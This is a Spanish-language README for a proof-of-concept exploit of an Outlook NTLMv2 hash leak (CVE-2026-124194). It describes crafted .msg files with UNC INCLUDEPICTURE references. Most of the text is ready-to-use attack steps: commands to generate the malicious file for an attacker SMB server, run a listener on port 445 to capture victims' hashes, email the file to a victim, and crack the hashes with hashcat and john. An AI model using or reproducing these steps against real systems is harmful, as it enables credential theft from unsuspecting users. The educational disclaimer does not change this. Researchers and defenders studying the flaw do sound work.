PoC y exploit para CVE-2026-124194: genera archivos .msg de Outlook manipulados con referencias UNC INCLUDEPICTURE y ejecuta un listener SMB para capturar hashes NTLMv2 para cracking offline.
AVISO LEGAL: Este repositorio fue creado exclusivamente con fines educativos y de investigación en seguridad. El uso de estas herramientas contra sistemas sin autorización previa y expresa por escrito es ilegal. El autor no se responsabiliza por el uso indebido de este material.
| Campo | Detalle |
|---|---|
| CVE | CVE-2026-124194 |
| Apodo | Outlook-NTLMHash |
| Tipo | Fuga de hash NTLMv2 (CWE-356) |
| CVSS | 6.5 Medium (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) |
| Componente | Microsoft Outlook - procesamiento de archivo .msg |
| Vectores | La víctima abre un archivo .msg manipulado con referencia UNC |
| Autenticación | No requerida (se necesita ingeniería social) |
| Afecta | MS 365 Apps for Enterprise, Office LTSC 2021/2024 |
| Corregido | Parche de Microsoft noviembre 2026 |
| Divulgado | Noviembre 2026 (Exploitation Detected) |
Al abrir un archivo .msg manipulado que contiene un campo RTF con
INCLUDEPICTURE apuntando a una ruta UNC (\\servidor\share\img),
Outlook se conecta automáticamente al servidor SMB del atacante para cargar
el recurso, sin mostrar el aviso estándar de contenido externo.
El sistema Windows realiza autenticación NTLM implícitamente al intentar acceder al recurso compartido SMB, enviando el hash NTLMv2 del usuario en texto de desafío. El atacante captura ese hash y puede probarlo offline con herramientas como hashcat o john.
Importante: el Panel de Vista Previa (Preview Pane) NO es vector de ataque en esta vulnerabilidad. La víctima debe abrir el archivo.
Atacante Víctima
| |
|-- Envía poc.msg por email->|
| |
| [Abre el .msg en Outlook]
| |
| [Outlook carga RTF con INCLUDEPICTURE \\attacker\...]
| |
|<-- SMB Negotiate ----------|
|-- Challenge --------------->
|<-- Authenticate (NTLMv2) --+
| |
| [Captura hash NTLMv2] |
# Generar poc.msg e iniciar servidor SMB para captura
python poc.py --gen-msg --server 192.168.1.5
python poc.py --listen --port 445 --output hashes.txt
# Genera .msg e inicia servidor automáticamente
# Requiere privilegios para el puerto 445 (sudo/admin)
python exploit.py --server 192.168.1.5 --auto --hashcat --output hashes.txt
# Enviar poc_exploit.msg a la víctima por email
# Cuando lo abra, el hash será capturado en hashes.txt
# hashcat (modo NetNTLMv2)
hashcat -m 5600 hashes.txt wordlist.txt
# john
john --wordlist=wordlist.txt hashes.txt
By Gh0st-Bx1 | https://github.com/Ghost-Bx1